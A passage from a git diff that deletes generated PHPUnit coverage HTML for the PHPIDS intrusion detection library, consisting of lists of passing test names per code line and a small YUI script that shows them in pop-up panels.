class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testModificator(IDS_FilterTest)</li><li class=\"testPassed\">testExceptions(IDS_FilterTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel99": { - "header": "69 tests cover line 99", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testModificator(IDS_FilterTest)</li><li class=\"testPassed\">testExceptions(IDS_FilterTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel100": { - "header": "69 tests cover line 100", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testModificator(IDS_FilterTest)</li><li class=\"testPassed\">testExceptions(IDS_FilterTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel115": { - "header": "38 tests cover line 115", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testModificator(IDS_FilterTest)</li><li class=\"testPassed\">testExceptions(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel116": { - "header": "1 test covers line 116", - "body": "<ul><li class=\"testPassed\">testExceptions(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel117": { - "header": "1 test covers line 117", - "body": "<ul><li class=\"testPassed\">testExceptions(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel118": { - "header": "1 test covers line 118", - "body": "<ul><li class=\"testPassed\">testExceptions(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel121": { - "header": "37 tests cover line 121", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testModificator(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel122": { - "header": "37 tests cover line 122", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testModificator(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel123": { - "header": "37 tests cover line 123", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testModificator(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel133": { - "header": "2 tests cover line 133", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel146": { - "header": "6 tests cover line 146", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel156": { - "header": "38 tests cover line 156", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testModificator(IDS_FilterTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel166": { - "header": "36 tests cover line 166", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel176": { - "header": "1 test covers line 176", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "dummy": "" - }; - - YAHOO.phpunit.container.prepare = function (e) { - var elemId = $E.getTarget(e).id; - var line = elemId.substr(4); - var panelId = "panel" + line; - var containerId = "container" + line; - - var panelData = YAHOO.phpunit.container.panelsData[panelId]; - - var panel = new YAHOO.widget.Panel(panelId, { visible:false, draggable:false, close:true } ); - panel.setHeader(panelData["header"]); - panel.setBody(panelData["body"]); - panel.setFooter(panelData["footer"]); - panel.render(containerId); - - $E.addListener(elemId, "click", panel.show, panel, true); - $E.removeListener(elemId, "mouseover"); - }; - - function init() { - var ypc = YAHOO.phpunit.container; - for (var panelId in ypc.panelsData) { - var elemId = "line" + panelId.substr(5); - $E.addListener(elemId, "mouseover", ypc.prepare); - } - } - - $E.addListener(window, "load", init); - </script> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/Filter_Storage.php.html b/apps/maarch_entreprise/tools/phpids/tests/coverage/Filter_Storage.php.html deleted file mode 100755 index 4f4e4629a70ca6678fb2833a0d73511cf6ae33d3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/Filter_Storage.php.html +++ /dev/null @@ -1,1284 +0,0 @@ -<!DOCTYPE HTML PUBLIC 